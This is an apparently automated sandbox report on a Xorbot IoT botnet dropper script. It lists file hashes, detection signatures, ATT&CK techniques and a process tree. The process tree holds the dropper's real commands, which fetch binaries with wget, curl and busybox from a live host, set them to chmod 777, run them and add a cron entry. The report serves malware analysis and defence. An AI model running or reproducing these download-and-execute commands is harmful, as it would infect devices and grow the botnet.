xorbot | 9eac4c35a3229382569a9ffbb6466342b9f6cb23b771e49415e8999ad5cd0b35

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
05/01/2025, 04:27

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General

Target

bins.sh
Size

10KB
MD5

16b5d182bd50c71c5ebba5992db2202d
SHA1

f963b5366117ce819f60143133ecf7a204331c87
SHA256

9eac4c35a3229382569a9ffbb6466342b9f6cb23b771e49415e8999ad5cd0b35
SHA512

1a86922da03a58d349ed234a52c60cefcaaaeb36b1d6386cd5f4f8a098929ce02220ed4b8858fed4938441ecfd212a0639d9998a41a42c92c395c1b80dfb378e
SSDEEP

96:Y5RvyHbvPjpIWLIK/TBUYjLLnhWLttQvDLO+kLXrhrLKKKCKgpF8L2mGUA8mLIWm:4oZWxpmz7gpF8eMKBz7gpFp

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1325) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
825	chmod
852	chmod
743	chmod
796	chmod
810	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI	744	ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
/tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU	797	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU

Renames itself 1 IoCs

pid	Process
798	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.1OFMQD	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/907/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1039/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/803/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/889/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/890/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/956/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/14/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/358/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/898/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/804/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/880/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/926/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/929/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/942/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/357/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/709/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/780/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/986/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/885/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/925/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1011/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/18/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1007/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/20/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1055/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/805/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/826/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/881/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/932/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1019/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/77/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/159/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/431/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1046/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1047/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/900/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1017/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/947/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1051/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/883/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/888/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/896/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/994/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1003/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/960/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/683/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/924/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/950/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/931/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/985/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/832/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/866/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/897/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/682/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/982/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1058/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/681/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/784/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/912/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/36/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/825/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/877/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/874/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU

System Network Configuration Discovery 1 TTPs 17 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
814	curl
815	busybox
834	curl
742	busybox
770	curl
794	busybox
813	wget
837	busybox
807	wget
808	curl
809	busybox
832	wget
855	wget
716	wget
739	curl
747	wget
856	curl

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU	busybox
File opened for modification	/tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI	wget
File opened for modification	/tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI	curl
File opened for modification	/tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI	busybox
File opened for modification	/tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU	wget
File opened for modification	/tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:711
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:714
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:716
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:742
- /bin/chmod
  chmod 777 ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
  ./ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
  2⤵
  PID:746
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:747
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:770
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:794
- /bin/chmod
  chmod 777 TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
  ./TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:797
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:799
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:800
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:801
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:802
- /bin/rm
  rm TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
  2⤵
  PID:804
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
  2⤵
  - System Network Configuration Discovery
  PID:807
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
  2⤵
  - System Network Configuration Discovery
  PID:808
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
  2⤵
  - System Network Configuration Discovery
  PID:809
- /bin/chmod
  chmod 777 h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
  ./h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
  2⤵
  PID:811
- /bin/rm
  rm h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
  2⤵
  PID:812
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B
  2⤵
  - System Network Configuration Discovery
  PID:813
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B
  2⤵
  - System Network Configuration Discovery
  PID:814
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B
  2⤵
  - System Network Configuration Discovery
  PID:815
- /bin/chmod
  chmod 777 UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B
  ./UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B
  2⤵
  PID:827
- /bin/rm
  rm UbfzQ4EsN9H8dTGF29dT5wpM9NODp5hI7B
  2⤵
  PID:830
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd
  2⤵
  - System Network Configuration Discovery
  PID:832
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd
  2⤵
  - System Network Configuration Discovery
  PID:834
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd
  2⤵
  - System Network Configuration Discovery
  PID:837
- /bin/chmod
  chmod 777 PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /tmp/PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd
  ./PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd
  2⤵
  PID:853
- /bin/rm
  rm PTPaPCyrt42WCSWPvyCstJy96NdlZ1WAsd
  2⤵
  PID:854
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/u0z5NgnVOOmkJ759G7HiMuYwWLDtRfAyJG
  2⤵
  - System Network Configuration Discovery
  PID:855
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/u0z5NgnVOOmkJ759G7HiMuYwWLDtRfAyJG
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.1OFMQD

Filesize
210B

MD5
b7d229ba0dacf6ab2f9dace4bd2a6857

SHA1
a26e225e961dcb7fe7e835c0c9d83da4f3cd61ca

SHA256
84174d53f863359e5313d32a3186bca78d08e38475d4fdb540e9533eb6cf70be

SHA512
165481bc3517a9551f11a78f92eb7fa0a0b236863d930377d7be08cdad09eb78b49c0b2c20ae8730952c91f4a26d7f95d724bf90fc4720f654f64b809d3a678b

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads